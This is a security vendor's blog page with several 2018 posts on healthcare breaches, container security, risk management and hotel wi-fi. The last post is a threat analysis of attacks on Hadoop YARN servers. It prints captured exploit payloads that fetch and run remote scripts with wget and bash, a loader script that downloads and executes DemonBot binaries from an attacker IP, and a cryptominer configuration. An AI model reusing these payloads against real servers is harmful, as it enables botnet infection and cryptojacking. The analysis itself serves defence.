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Application SecurityAttack MitigationDDoS AttacksSecurity

2018 In Review: Healthcare Under Attack

December 12, 2018 — by Daniel Smith0

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Radware’s ERT and Threat Research Center monitored an immense number of events over the last year, giving us a chance to review and analyze attack patterns to gain further insight into today’s trends and changes in the attack landscape. Here are some insights into what we have observed over the last year.

Healthcare Under Attack

Over the last decade there has been a dramatic digital transformation within healthcare; more facilities are relying on electronic forms and online processes to help improve and streamline the patient experience. As a result, the medical industry has new responsibilities and priorities to ensure client data is kept secure and available–which unfortunately aren’t always kept up with.

This year, the healthcare industry dominated news with an ever-growing list of breaches and attacks. Aetna, CarePlus, Partners Healthcare, BJC Healthcare, St. Peter’s Surgery and Endoscopy Center, ATI Physical Therapy, Inogen, UnityPoint Health, Nuance Communication, LifeBridge Health, Aultman Health Foundation, Med Associates and more recently Nashville Metro Public Health, UMC Physicians, and LabCorp Diagnostics have all disclosed or settled major breaches.

[You may also like: 2019 Predictions: Will Cyber Serenity Soon Be a Thing of the Past?]

Generally speaking, the risk of falling prey to data breaches is high, due to password sharing, outdated and unpatched software, or exposed and vulnerable servers. When you look at medical facilities in particular, other risks begin to appear, like those surrounding the number of hospital employees who have full or partial access to your health records during your stay there. The possibilities for a malicious insider or abuse of access is also very high, as is the risk of third party breaches. For example, it was recently disclosed that NHS patient records may have been exposed when passwords were stolen from Embrace Learning, a training business used by healthcare workers to learn about data protection.

Profiting From Medical Data

These recent cyber-attacks targeting the healthcare industry underscore the growing threat to hospitals, medical institutions and insurance companies around the world. So, what’s driving the trend? Profit. Personal data, specifically healthcare records, are in demand and quite valuable on today’s black market, often fetching more money per record than your financial records, and are a crucial part of today’s Fullz packages sold by cyber criminals.

Not only are criminals exfiltrating patient data and selling it for a profit, but others have opted to encrypt medical records with ransomware or hold the data hostage until their extortion demand is met. Often hospitals are quick to pay an extortionist because backups are non-existent, or it may take too long to restore services. Because of this, cyber-criminals have a focus on this industry.

[You may also like: How Secure is Your Medical Data?]

Most of the attacks targeting the medical industry are ransomware attacks, often delivered via phishing campaigns. There have also been cases where ransomware and malware have been delivered via drive-by downloads and comprised third party vendors. We have also seen criminals use SQL injections to steal data from medical applications as well as flooding those networks with DDoS attacks. More recently, we have seen large scale scanning and exploitation of internet connected devices for the purpose of crypto mining, some of which have been located inside medical networks. In addition to causing outages and encrypting data, these attacks have resulted in canceling elective cases, diverting incoming patients and rescheduling surgeries.

For-profit hackers will target and launch a number of different attacks against medical networks designed to obtain and steal your personal information from vulnerable or exposed databases. They are looking for a complete or partial set of information such as name, date of birth, Social Security numbers, diagnosis or treatment information, Medicare or Medicaid identification number, medical record number, billing/claims information, health insurance information, disability code, birth or marriage certificate information, Employer Identification Number, driver’s license numbers, passport information, banking or financial account numbers, and usernames and passwords so they can resell that information for a profit.

[You may also like: Fraud on the Darknet: How to Own Over 1 Million Usernames and Passwords]

Sometimes the data obtained by the criminal is incomplete, but that data can be leveraged as a stepping stone to gather additional information. Criminals can use partial information to create a spear-phishing kit designed to gain your trust by citing a piece of personal information as bait. And they’ll move very quickly once they gain access to PHI or payment information. Criminals will normally sell the information obtained, even if incomplete, in bulk or in packages on private forums to other criminals who have the ability to complete the Fullz package or quickly cash the accounts out. Stolen data will also find its way to public auctions and marketplaces on the dark net, where sellers try to get the highest price possible for data or gain attention and notoriety for the hack.

Don’t let healthcare data slip through the cracks; be prepared.

Read “Radware’s 2018 Web Application Security Report” to learn more.

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Application DeliveryCloud Computing

Ensuring a Secure Cloud Journey in a World of Containers

December 11, 2018 — by Prakash Sinha0

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As organizations transition to the cloud, many are adopting microservice architecture to implement business applications as a collection of loosely coupled services, in order to enable isolation, scale, and continuous delivery for complex applications. However, you have to balance the complexity that comes with such a distributed architecture with the application security and scale requirements, as well as time-to-market constraints.

Many application architects choose application containers as a tool of choice to implement the microservices architecture. Among its many advantages, such as resource footprint, instantiation time, and better resource utilization, containers provide a lightweight run time and a consistent environment for the application—from development to testing to a production deployment.

That said, adopting containers doesn’t remove the traditional security and application availability concerns; application vulnerabilities can still be exploited. Recent ransomware attacks highlight the need to secure against DDoS and application attacks.

[You may also like: DDoS Protection is the Foundation for Application, Site and Data Availability]

Security AND availability should be top-of-mind concerns in the move to adopt containers.

Let Your Load Balancer Do the Heavy Lifting

For many years, application delivery controllers (ADCs), a.k.a. load balancer, have been integral to addressing service-level needs for applications, deployed on premise or on the cloud, to meet availability and many of the security requirements of the applications.

Layered security is a MUST: In addition to using built-in tools for container security, traditional approaches to security are still relevant. Many container-deployed services are composed using Application Programming Interfaces (APIs). Since these services are accessible over the web, they are open to malicious attacks.

As hackers probe network and application vulnerability to gain access to sensitive data, the prevention of unauthorized access needs to be multi-pronged as well:

  • Preventing denial of service attacks
  • Routine vulnerability assessment scans on container applications
  • Scanning application source code for vulnerabilities and fixing them
  • Preventing malicious access by validate users before they can access a container application.
  • Preventing rogue application ports/applications from running
  • Securing the data at rest and in motion.

Since ADCs terminate user connections, scrubbing the data with a web application firewall (WAF) will help identify and prevent malicious attacks, while authenticating users against an identity management system to prevent unauthorized access to a container service.

Availability is not just a nice-to-have: A client interacting with a microservices-based application does not need to know about the instances that’s serving it. This is precisely the isolation and decoupling that a load balancer provides, thus ensuring availability in case one of the instances becomes unavailable.

Allocating and managing it manually is not an option:  Although there are many benefits to a container-based application, it is a challenge to quickly roll out, troubleshoot, and manage these microservices. Manually allocating resources for applications and re-configuring the load balancer to incorporate newly instantiated services is inefficient and error prone. It becomes problematic at scale, especially with those that have short lifetimes. Automating the deployment of services quickly becomes a necessity. Automation tools transform the traditional manual approach into simpler automated scripts and tasks that do not require deep familiarity or expertise.

[You may also like: Embarking on a Cloud Journey: Expect More from Your Load Balancer]

If you don’t monitor, you won’t know: When deploying microservices that may affect many applications, proactive monitoring, analytics and troubleshooting become critical before they become business disruptions. Monitoring may include information about a microservice such as latency, security issues, service uptime, and problems of access.

Businesses must support complex IT architectures for their application delivery in a secure manner. Configuring, deploying and maintaining cross-domain microservices can be error-prone, costly and time-consuming. Organizations should be concerned with ensuring security with a layered approach to security controls. To simplify configuration and management of these microservices, IT should adopt automation, visibility, analytics and orchestration best practices and tools that fit in with their agile and DevOps processes. The goal is to keep a secure and controlled environment mandated by IT without losing development agility and automation needs of the DevOps.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

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DDoSDDoS AttacksSecurityWAF

What Can We Learn About Cybersecurity from the Challenger Disaster? Everything.

December 5, 2018 — by Radware1

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Understanding the potential threats that your organization faces is an essential part of risk management in modern times. It involves forecasting and evaluating all the factors that impact risk. Processes, procedures and investments can all increase, minimize or even eliminate risk.

Another factor is the human element. Often times, within an organization, a culture exists in which reams of historical data tell one story, but management believes something entirely different. This “cognitive dissonance” can lead to an overemphasis and reliance on near-term data and/or experiences and a discounting of long-term statistical analysis.

Perhaps no better example of this exists than the space shuttle Challenger disaster in 1986, which now serves as a case study in improperly managing risk. In January of that year, the Challenger disintegrated 73 seconds after launch due to the failure of a gasket (called an O-ring) in one of the rocket boosters. While the physical cause of the disaster was caused by the failure of the O-ring, the resulting Rogers Commission that investigated the accident found that NASA had failed to correctly identify “flaws in management procedures and technical design that, if corrected, might have prevented the Challenger tragedy.”

Despite strong evidence dating back to 1977 that the O-ring was a flawed design that could fail under certain conditions/temperatures, neither NASA management nor the rocket manufacturer, Morton Thiokol, responded adequately to the danger posed by the deficient joint design. Rather than redesigning the joint, they came to define the problem as an “acceptable flight risk.” Over the course of 24 preceding successful space shuttle flights, a “safety culture” was established within NASA management that downplayed the technical risks associated with flying the space shuttle despite mountains of data, and warnings about the O-ring, provided by research and development (R & D) engineers.

As American physicist Richard Feynman said regarding the disaster, “For a successful technology, reality must take precedence over public relations, for nature cannot be fooled.”

Truer words have never been spoken when they pertain to cybersecurity. C-suite executives need to stop evaluating and implementing cybersecurity strategies and solutions that meet minimal compliance and establish a culture of “acceptable risk” and start managing to real-world risks — risks that are supported by hard data.

Risk Management and Cybersecurity

The threat of a cyberattack on your organization is no longer a question of if, but when, and C-suite executives know it. According to C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts, 96% of executives were concerned about network vulnerabilities and security risks resulting from hybrid computing environments. Managing risk requires organizations to plan for and swiftly respond to risks and potential risks as they arise. Cybersecurity is no exception. For any organization, risks can be classified into four basic categories:

The Challenger disaster underscores all four of these risk categories. Take strategic risk as an example. Engineers from Morton Thiokol expressed concerns and presented data regarding the performance of the O-rings, both in the years prior and days leading up to the launch, and stated the launch should be delayed. NASA, under pressure to launch the already delayed mission and emboldened by the 24 preceding successful shuttle flights that led them to discount the reality of failure, pressured Morton Thiokol to supply a different recommendation. Morton Thiokol management decided to place organizational goals ahead of safety concerns that were supported by hard data. The recommendation for the launch was given, resulting in one of the most catastrophic incidents in manned space exploration. Both Morton Thiokol and NASA made strategic decisions that placed the advancements of their respective organizations over the risks that were presented.

[You may also like: The Million-Dollar Question of Cyber-Risk: Invest Now or Pay Later?]

This example of strategic risk serves as a perfect analogy for organizations implementing cybersecurity strategies and solutions. There are countless examples of high-profile cyberattacks and data breaches in which upper management was warned in advance of network vulnerabilities, yet no actions were taken to prevent an impending disaster. The infamous 2018 Panera Bread data breach is one such example. Facebook is yet another. Its platform operations manager between 2011 and 2012 warned management at the social tech giant to implement audits or enforce other mechanisms to ensure user data extracted from the social network was not misused by third-party developers and/or systems. These warnings were apparently ignored.

So why does this continually occur? The implementation of DDoS and WAF mitigation solutions often involves three key components within an organization: management, the security team/SOC and compliance. Despite reams of hard data provided by a security team that an organization is either currently vulnerable or not prepared for the newest generation of attack vectors, management will often place overemphasis on near-term security results/experiences; they feel secure in the fact that the organization has never been the victim of a successful cyberattack to date. The aforementioned Facebook story is a perfect example: They allowed history to override hard data presented by a platform manager regarding new security risks.

Underscoring this “cognitive dissonance” is the compliance team, which often seeks to evaluate DDoS mitigation solutions based solely on checkbox functionality that fulfills minimal compliance standards. Alternatively, this strategy also drives a cost-savings approach that yields short-term financial savings within an organization that often times views cybersecurity as an afterthought vis-à-vis other strategic programs, such as mobility, IoT and cloud computing.

The end result? Organizations aren’t managing real-world risks, but rather are managing “yesterday’s” risks, thereby leaving themselves vulnerable to new attack vectors, IoT botnet vulnerabilities, cybercriminals and other threats that didn’t exist weeks or even days ago.

The True Cost of a Cyberattack

To understand just how detrimental this can be to the long-term success of an organization requires grasping the true cost of a cyberattack. Sadly, these data points are often as poorly understood, or dismissed, as the aforementioned statistics regarding vulnerability. The cost of a cyberattack can be mapped by the four risk categories:

  • Strategic Risk: Cyberattacks, on average, cost more than one million USD/EUR, according to 40% of executives. Five percent estimated this cost to be more than 25 million USD/EUR.
  • Reputation Risk: Customer attrition rates can increase by as much as 30% following a cyberattack. Moreover, organizations that lose over four percent of their customers following a data breach suffer an average total cost of $5.1 million. In addition, 41% of executives reported that customers have taken legal action against their companies following a data breach. The Yahoo and Equifax data breach lawsuits are two high-profile examples.
  • Product Risk: The IP Commission estimated that counterfeit goods, pirated software and stolen trade secrets cost the U.S. economy $600 billion annually.
  • Governance Risk: “Hidden” costs associated with a data breach include increased insurance premiums, lower credit ratings and devaluation of trade names. Equifax was devalued by $4 billion by Wall Street following the announcement of its data breach.

[You may also like: Understanding the Real Cost of a Cyber-Attack and Building a Cyber-Resilient Business]

Secure the Customer Experience, Manage Risk

It’s only by identifying the new risks that an organization faces each and every day and having a plan in place to minimize them that enables its executives to build a foundation upon which their company will succeed. In the case of the space shuttle program, mounds of data that clearly demonstrated an unacceptable flight risk were pushed aside by the need to meet operational goals. What lessons can be learned from that fateful day in January of 1986 and applied to cybersecurity? To start, the disaster highlights the five key steps of managing risks.

In the case of cybersecurity, this means that the executive leadership must weigh the opinions of its network security team, compliance team and upper management and use data to identify vulnerabilities and the requirements to successfully mitigate them. In the digital age, cybersecurity must be viewed as an ongoing strategic initiative and cannot be delegated solely to compliance. Leadership must fully weigh the potential cost of a cyberattack/data breach on the organization versus the resources required to implement the right security strategies and solutions. Lastly, when properly understood, risk can actually be turned into a competitive advantage. In the case of cybersecurity, it can be used as a competitive differentiator with consumers that demand fast network performance, responsive applications and a secure customer experience. This enables companies to target and retain customers by supplying a forward-looking security solution that seamlessly protects users today and into the future.

So how are executives expected to accomplish this while facing new security threats, tight budgets, a shortfall in cybersecurity professionals and the need to safeguard increasingly diversified infrastructures? The key is creating a secure climate for the business and its customers.

To create this climate, research shows that executives must be willing to accept new technologies, be openminded to new ideologies and embrace change, according to C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts. Executives committed to staying on top of this ever-evolving threat must break down the silos that exist in the organization to assess the dimensions of the risks across the enterprise and address these exposures holistically. Next is balancing the aforementioned investment versus risk equation. All executives will face tough choices when deciding where to invest resources to propel their companies forward. C-suite executives must leverage the aforementioned data points and carefully evaluate the risks associated with security vulnerabilities and the costs of implementing effective security solutions to avoid becoming the next high-profile data breach.

According to the same report, four in 10 respondents identified increasing infrastructure complexity, digital transformation plans, integration of artificial intelligence and migration to the cloud as events that put pressure on security planning and budget allocation.

The stakes are high. Security threats can seriously impact a company’s brand reputation, resulting in customer loss, reduced operational productivity and lawsuits. C-suite executives must heed the lessons of the space shuttle Challenger disaster: Stop evaluating and implementing cybersecurity strategies and solutions that meet minimal compliance and start managing to real-world risks by trusting data, pushing aside near-term experiences/“gut instincts” and understanding the true cost of a cyberattack. Those executives who are willing to embrace technology and change and prioritize cybersecurity will be the ones to win the trust and loyalty of the 21st-century consumer.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

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Mobile SecuritySecurity

Cybersecurity for the Business Traveler: A Tale of Two Internets

November 27, 2018 — by David Hobbs0

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Many of us travel for work, and there are several factors we take into consideration when we do. Finding the best flights, hotels and transportation to fit in the guidelines of compliance is the first set of hurdles, but the second can be a bit trickier: Trusting your selected location. Most hotels do not advertise their physical security details, let alone any cybersecurity efforts.

I recently visited New Delhi, India, where I stayed at a hotel in the Diplomatic Enclave. Being extremely security conscious, I did a test on the connection from the hotel and found there was little-to-no protection on the wi-fi network. This hotel touts its appeal to elite guests, including diplomats and businessmen on official business. But if it doesn’t offer robust security on its network, how can it protect our records and personal data?  What kind of protection could I expect if a hacking group decided to target guests?

[You may also like: Protecting Sensitive Data: A Black Swan Never Truly Sits Still]

If I had to guess, most hotel guests—whether they’re traveling for business or pleasure—don’t spend much time or energy considering the security implications of their new, temporary wi-fi access. But they should.

More and more, we are seeing hacking groups target high-profile travelers. For example, the Fin7 group stole over $1 billion with aggressive hacking techniques aimed at hotels and their guests. And in 2017, an espionage group known as APT28 sought to steal password credentials from Western government and business travelers using hotel wi-fi networks.

A Tale of Two Internets

To address cybersecurity concerns—while also setting themselves apart with a competitive advantage—conference centers, hotels and other watering holes for business travelers could easily offer two connectivity options for guests:

  • Secure Internet: With this option, the hotel would provide basic levels of security monitoring, from virus connections to command and control infrastructure, and look for rogue attackers on the network. It could also alert guests to potential attacks when they log on and could make a “best effort.”
  • Wide Open Internet: In this tier, guests could access high speed internet to do as they please, without rigorous security checks in place. This is the way most hotels, convention centers and other public wi-fi networks work today.

A two-tiered approach is a win-win for both guests and hotels. If hotels offer multiple rates for wi-fi packages, business travelers may pay more to ensure their sensitive company data is protected, thereby helping to cover cybersecurity-related expenses. And guests would have the choice to decide which package best suits their security needs—a natural byproduct of which is consumer education, albeit brief, on the existence of network vulnerabilities and the need for cybersecurity. After all, guests may not have even considered the possibility of security breaches in a hotel’s wi-fi, but evaluating different Internet options would, by default, change that.

[You may also like: Protecting Sensitive Data: The Death of an SMB]

Once your average traveler is aware of the potential for security breaches during hotel stays, the sky’s the limit! Imagine a cultural shift in which hotels were encouraged to promote their cybersecurity initiatives and guests could rate them online in travel site reviews? Secure hotel wi-fi could become a standard amenity and a selling point for travelers.

I, for one, would gladly select a wi-fi option that offered malware alerts, stopped DDoS attacks and proactively looked for known attacks and vulnerabilities (while still using a VPN, of course). Wouldn’t it be better if we could surf a network more secure than the wide open Internet?

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

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Attack Types & VectorsBotnetsDDoS AttacksSecurity

Hadoop YARN: An Assessment of the Attack Surface and Its Exploits

November 15, 2018 — by Pascal Geenens1

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  • Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
  • 1065 servers are exposed and vulnerable
  • The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
  • Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
  • A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
  • In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
  • Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
  • Online businesses should care, too. They can be the target of DDoS attacks.
  • Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month—though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

[You may also like: New DemonBot Discovered]

These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to BitBucket.org. Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O – https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘zz.sh’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high-performance Monero CPU miner written in C++ (https://github.com/xmrig/xmrig).

 $ ./x_64 --version
XMRig 2.8.1
built on Oct 18 2018 with GCC 4.8.4
features: 64-bit AES
libuv/1.9.1

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

{
    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
         {
            "url": "stratum+tcp://163.172.205.136:3333",
            "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}

From the configuration file we find the pool wallet address:

46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

IOC
Binary: a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64
Bitbucket repo: https://bitbucket.org/zrundr42/mygit/src/master/
Mining pool account: 46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

 User-Agent: [python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.3.5.el6.x86_64]
{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/bins.sh -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex; rm -rf/tmp/flex"}}, "application-id": "application_1802197302061_0095", "application-type": "YARN", "application-name": "get-shell"}

The downloaded ‘bins.sh’ script downloads in its turn several binaries in a typical IoT loader kind of way:


$ cat bins.sh 
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mips; chmod +x YSDKOP.mips; ./YSDKOP.mips; rm -rf YSDKOP.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mpsl; chmod +x YSDKOP.mpsl; ./YSDKOP.mpsl; rm -rf YSDKOP.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sh4; chmod +x YSDKOP.sh4; ./YSDKOP.sh4; rm -rf YSDKOP.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.x86; chmod +x YSDKOP.x86; ./YSDKOP.x86; rm -rf YSDKOP.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm6; chmod +x YSDKOP.arm6; ./YSDKOP.arm6; rm -rf YSDKOP.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i686; chmod +x YSDKOP.i686; ./YSDKOP.i686; rm -rf YSDKOP.i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc; chmod +x YSDKOP.ppc; ./YSDKOP.ppc; rm -rf YSDKOP.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i586; chmod +x YSDKOP.i586; ./YSDKOP.i586; rm -rf YSDKOP.i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.m68k; chmod +x YSDKOP.m68k; ./YSDKOP.m68k; rm -rf YSDKOP.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sparc; chmod +x YSDKOP.sparc; ./YSDKOP.sparc; rm -rf YSDKOP.sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm4; chmod +x YSDKOP.arm4; ./YSDKOP.arm4; rm -rf YSDKOP.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm5; chmod +x YSDKOP.arm5; ./YSDKOP.arm5; rm -rf YSDKOP.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm7; chmod +x YSDKOP.arm7; ./YSDKOP.arm7; rm -rf YSDKOP.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc440fp; chmod +x YSDKOP.ppc440fp; ./YSDKOP.ppc440fp; rm -rf YSDKOP.ppc440fp

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

 $ file *
YSDKOP.arm4:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm5:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm6:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.arm7:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.i586:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.i686:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.m68k:  ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not stripped
YSDKOP.mips:  ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.mpsl:  ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.ppc:   ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
YSDKOP.sh4:   ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
YSDKOP.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.x86:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:


$ strings YSDKOP.i586
…
185.244.25.153:420
8.8.8.8
/proc/net/route
        00000000
(null)
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ
/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID
/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93
/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
nwonknu
unknown
Hello
slammed
…
Sending TCP Packets To: %s:%d for %d seconds
STOP
[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

This is an unaltered DemonBot hiding behind a random name YSDKOP.

IOC
59719aa688954e7f4dd575173d7c9b5de6fd0d69d8c9ed8834d91a144e635e3b bins.sh
